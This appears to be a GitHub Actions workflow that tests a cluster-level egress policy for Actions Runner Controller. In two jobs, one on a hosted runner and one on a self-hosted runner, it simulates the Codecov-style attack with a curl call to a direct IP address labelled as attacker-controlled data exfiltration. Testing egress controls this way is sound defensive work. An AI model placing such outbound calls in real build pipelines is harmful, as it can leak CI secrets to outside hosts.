arc-secure-by-default.yml

name: "ARC: Secure-By-Default Cluster-Level Policy"
on:
  workflow_dispatch:
  
jobs:
  direct-ip-hosted:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3

      # Codecov Scenario: Exfiltrate data to attacker's IP address
      - name: Data Exfiltration To Attacker Controlled IP address
        run: curl 104.16.209.12 --connect-timeout 5
  direct-ip-arc:
    runs-on: self-hosted
    steps:
      - uses: actions/checkout@v3

      # Codecov Scenario: Exfiltrate data to attacker's IP address
      - name: Data Exfiltration To Attacker Controlled IP address
        run: curl 104.16.209.12 --connect-timeout 5